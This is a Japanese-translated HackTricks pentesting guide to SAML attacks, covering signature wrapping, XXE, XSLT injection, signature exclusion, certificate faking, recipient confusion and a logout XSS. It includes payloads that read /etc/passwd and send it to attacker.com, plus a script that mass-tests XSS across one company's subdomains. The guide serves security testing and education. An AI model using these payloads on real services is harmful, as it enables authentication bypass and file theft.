hacktricks/pentesting-web/saml-attacks
2023-07-07 23:42:27 +00:00
..
README.md Translated to Japanese 2023-07-07 23:42:27 +00:00
saml-basics.md Translated to Japanese 2023-07-07 23:42:27 +00:00

SAML攻撃

SAML攻撃

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

攻撃グラフィック

ツール

SAMLExtractor: URLまたはURLのリストを受け取り、SAMLの消費URLを表示するツール。

XMLラウンドトリップ

XMLでは、XMLの署名部分がメモリに保存され、いくつかのエンコーディング/デコーディングが行われ、署名がチェックされます。理想的には、そのエンコーディング/デコーディングはデータを変更しないはずですが、このシナリオでは、チェックされるデータと元のデータが同じであるとは限りません

例えば、次のコードを確認してください:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

プログラムをREXML 3.2.4またはそれ以前のバージョンに対して実行すると、次の出力が表示されます:

First child in original doc: Y
First child after round-trip: Z

これが、上記のプログラムからREXMLが元のXMLドキュメントを見た方法です

そして、パースとシリアル化のラウンド後にREXMLがそれを見た方法です

脆弱性とその悪用方法の詳細については、以下のリンクを参照してください:

XML Signature Wrapping Attacks

XMLドキュメントには、XML Signatureが含まれており、通常は2つの独立したステップで処理されます:シグネチャの検証機能の呼び出しビジネスロジック。もし、両方のモジュールがデータに対して異なる見解を持っている場合、XML Signature Wrapping攻撃XSWと呼ばれる新しい脆弱性のクラスが存在します。
これらの攻撃では、攻撃者はXML Signatureを無効にしない****偽造要素を注入することで、メッセージの構造を変更します。この変更の目的は、アプリケーションロジックとシグネチャ検証モジュールがメッセージの異なる部分を使用するようにメッセージを変更することです。その結果、受信者はXML Signatureを正常に検証しますが、アプリケーションロジックは偽の要素を処理します。攻撃者はこのように完全性保護と起源認証を回避し、任意のコンテンツを注入することができます。

SAMLリクエストから

XSW #1

攻撃者は、シグネチャが見つかる新しいルート要素を追加することができます。したがって、検証ツールがシグネチャの整合性をチェックする際に、Response -> Assertion -> Subjectの整合性をチェックしたことに気付き、赤い部分の悪意のある新しいResponse -> Assertion -> Subjectのパスとデータを使用する可能性があります。

XSW #2

#1との違いは、使用されるシグネチャのタイプです。XSW #1ではenveloping signatureが使用されましたが、#2ではdetached signatureが使用されます。
整合性チェックが行われた後、新しい悪意のある構造が以前と同じであることに注意してください。これは、整合性チェック後にビジネスロジックを混乱させるためのものです。

XSW #3

この攻撃では、元のAssertionと同じレベルに悪意のあるAssertionが作成され、ビジネスロジックを混乱させ、悪意のあるデータを使用します。

XSW #4

XSW #4は、#3と似ていますが、この場合、元のAssertionがコピーされたAssertionの子になります

XSW #5

XSW #5では、シグネチャと元のAssertionが標準の3つの構成enveloped/enveloping/detachedのいずれにも含まれていません。この場合、コピーされたAssertionがシグネチャを包み込みます。

XSW #6

XSW #6は、#4と#5と同じ場所にコピーされたAssertionを挿入します。ここで興味深いのは、コピーされたAssertionがシグネチャを包み込み、シグネチャが元のAssertionを包み込むという点です。

XSW #7

XSW #7は、Extensions要素を挿入し、コピーされたAssertion子要素として追加します。Extensionsは、より制限の少ないスキーマ定義を持つ有効なXML要素です。このホワイトペーパーの著者は、OpenSAMLライブラリに対応するためにこのメソッドを開発しました。OpenSAMLは、シグネチャ検証中に使用されるIDを処理されたAssertionのIDと正しく比較するためにスキーマ検証を使用していました。著者は、同じIDを持つコピーされたAssertionsがより制限の少ないスキーマ定義を持つ要素の子である場合、特定の対策策を回避することができました。

XSW #8

XSW #8は、XSW #7で使用される攻撃パターンのバリエーションを実行するために、より制限の少ないXML要素を使用します。今回は、元のAssertionがコピーされたAssertionの代わりに、より制限の少ない要素の子になります。

ツール

Burp拡張機能SAML Raiderを使用して、リクエストを解析し、選択したXSW攻撃を適用し、実行することができます。

オリジナルの論文

この攻撃についての詳細は、https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdfのオリジナルの論文を参照してください。

XXE

XXE攻撃がどのような種類の攻撃かわからない場合は、次のページを読んでください

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAMLレスポンスは、デフレートされ、base64でエンコードされたXMLドキュメントであるため、SAMLレスポンスとして送信されるXMLドキュメントを操作することでXXEをテストすることができます。例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

ツール

SAML RaiderというBurp拡張機能を使用することもできます。これを使用してSAMLリクエストからPOCを生成し、可能なXXE脆弱性をテストすることができます。

また、このトークもチェックしてください: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAMLを介したXSLT

XSLTについての詳細は以下を参照してください

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

拡張可能なスタイルシート言語変換XSLTは、XMLドキュメントをHTML、JSON、またはPDFなどの他のドキュメントタイプに変換するためのチューリング完全な言語です。ここで重要なポイントは、攻撃には有効な署名が必要ではないということです。これは、XSLT変換がデジタル署名の検証の前に行われるためです。基本的に、攻撃を実行するためには署名付きのSAMLレスポンスが必要ですが、署名は自己署名または無効なものであっても構いません。

xslt

ここで、この種の脆弱性をチェックするためのPOCを見つけることができます。このセクションの最初に言及されているhacktricksページには、ペイロードがあります。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

ツール

SAML RaiderというBurp拡張機能を使用することもできます。これを使用して、SAMLリクエストからPOCを生成し、XSLTの脆弱性をテストすることができます。

また、次のトークも参考にしてください:https://www.youtube.com/watch?v=WHn-6xHL7mI

XML署名の除外

署名の除外は、SAMLの実装が署名要素が存在しない場合の動作をテストするために使用されます。署名要素が存在しない場合、署名検証ステップが完全にスキップされる可能性があります。署名が検証されない場合、通常は署名されるはずの内容は攻撃者によって改ざんされる可能性があります。

ツール

署名の除外は、SAMLレスポンスをインターセプトし、Remove Signaturesをクリックすることから始まります。これにより、すべての署名要素が削除されます。

sig-exclusion

署名が削除されたら、リクエストをターゲットに進めます。サービスが署名を必要としない場合

証明書の偽装

証明書の偽装は、サービスプロバイダが信頼できるIDプロバイダによってSAMLメッセージが署名されたことを検証するかどうかをテストするプロセスです。SPとIdPの信頼関係は、SAMLメッセージを受け取るたびに確立され、検証されるべきです。これは、自己署名証明書を使用してSAMLレスポンスまたはアサーションに署名することになります。

ツール

Burp拡張機能SAML Raiderを使用します。
証明書を偽装するには、まずSAMLレスポンスをインターセプトします。
レスポンスに署名が含まれている場合は、Send Certificate to SAML Raider Certsボタンを使用します。

send-cert

証明書を送信した後、SAML Raider Certificatesタブにインポートされた証明書が表示されるはずです。そこで、インポートされた証明書を強調表示し、Save and Self-Signボタンを押します。

sent-cert

これにより、元の証明書の自己署名クローンが生成されます。これで、Burpのプロキシに保持されているインターセプトされたリクエストに戻る時がきました。XML Signatureのドロップダウンメニューから新しい自己署名証明書を選択します。次に、既存の署名を削除するためにRemove Signaturesボタンを使用します。最後に、与えられた状況によって**(Re-)Sign Messageまたは(Re-)Sign Assertion**ボタン(どちらがより適切か)を使用します。

remove-sig

自己署名証明書でメッセージに署名した後、送信します。認証に成功した場合、SAMLメッセージに署名できることがわかります。SAMLメッセージに署名できることは、アサーションの値を変更してもサービスプロバイダに受け入れられることを意味します。

トークン受信者の混乱/サービスプロバイダのターゲットの混乱

トークン受信者の混乱/サービスプロバイダのターゲットの混乱は、サービスプロバイダが受信者を検証するかどうかをテストします。つまり、レスポンスが別のサービスプロバイダ向けに意図されている場合現在のサービスプロバイダはそれに気付き、認証を拒否するはずです。
受信者フィールドは、SAMLレスポンスのSubject要素の子であるSubjectConfirmationData要素の属性です。

SubjectConfirmationData要素は、主体を確認するための追加データを指定し、主体の確認の行為が行われる条件を制約します。主体の確認は、依存関係のあるパーティが、アサーションを提示するエンティティつまり、証明するエンティティとアサーションの主張の主体との関係を検証しようとするときに行われます。

SubjectConfirmationData要素で見つかる受信者属性は、アサーションを配信する必要がある場所を指定するURLです。受信者が受信者と異なるサービスプロバイダである場合、アサーションは受け入れられないはずです。

方法

SAMLトークン受信者の混乱SAML-TRCを試みるためには、いくつかの前提条件が必要です。まず、サービスプロバイダに正当なアカウントが必要です。次に、SP-TargetはSP-Legitが発行したトークンを受け入れる必要があります

条件が真である場合、攻撃は比較的簡単です。共有のIDプロバイダを介してSP-Legitに認証します。次に、IdPからSP-Legitに向かう途中のSAMLレスポンスをインターセプトします。インターセプトしたら、SP-Legit向けに意図されたSAMLレスポンスをSP-Targetに送信します。SP-Targetがアサーションを受け入れる場合、SP-Legitと同じアカウント名でログインし、SP-Targetの対応するリソースにアクセスできるようになります。

ログアウト機能のXSS

ここで元の研究にアクセスできます

ディレクトリブルートフォースを実行した後、次のページを見つけました:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

ログアウトページです。上記のリンクを開くと、以下のページにリダイレクトされました。

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

ベースパラメータはURLを受け取るので、古典的なjavascript:alert(123);に置き換えてXSSをトリガーすることはどうでしょう。

大量攻撃

SAMLExtractorを使用して、URLのリストを受け取り、コールバックSAML consumeURLを返してくれるツールを使用しました。私はuberinternal.comのすべてのサブドメインをツールに与え、同じライブラリを使用している他のドメインがあるかどうかを確認しました。

次に、脆弱なページoidauth/promptを呼び出し、XSSを試し、入力が反映される場合は脆弱性のあるメッセージが表示されるスクリプトを作成しました。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考文献

攻撃手法はhttps://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/から入手されました。
追加のリソースと解説はhttps://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/で見つけることができます。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥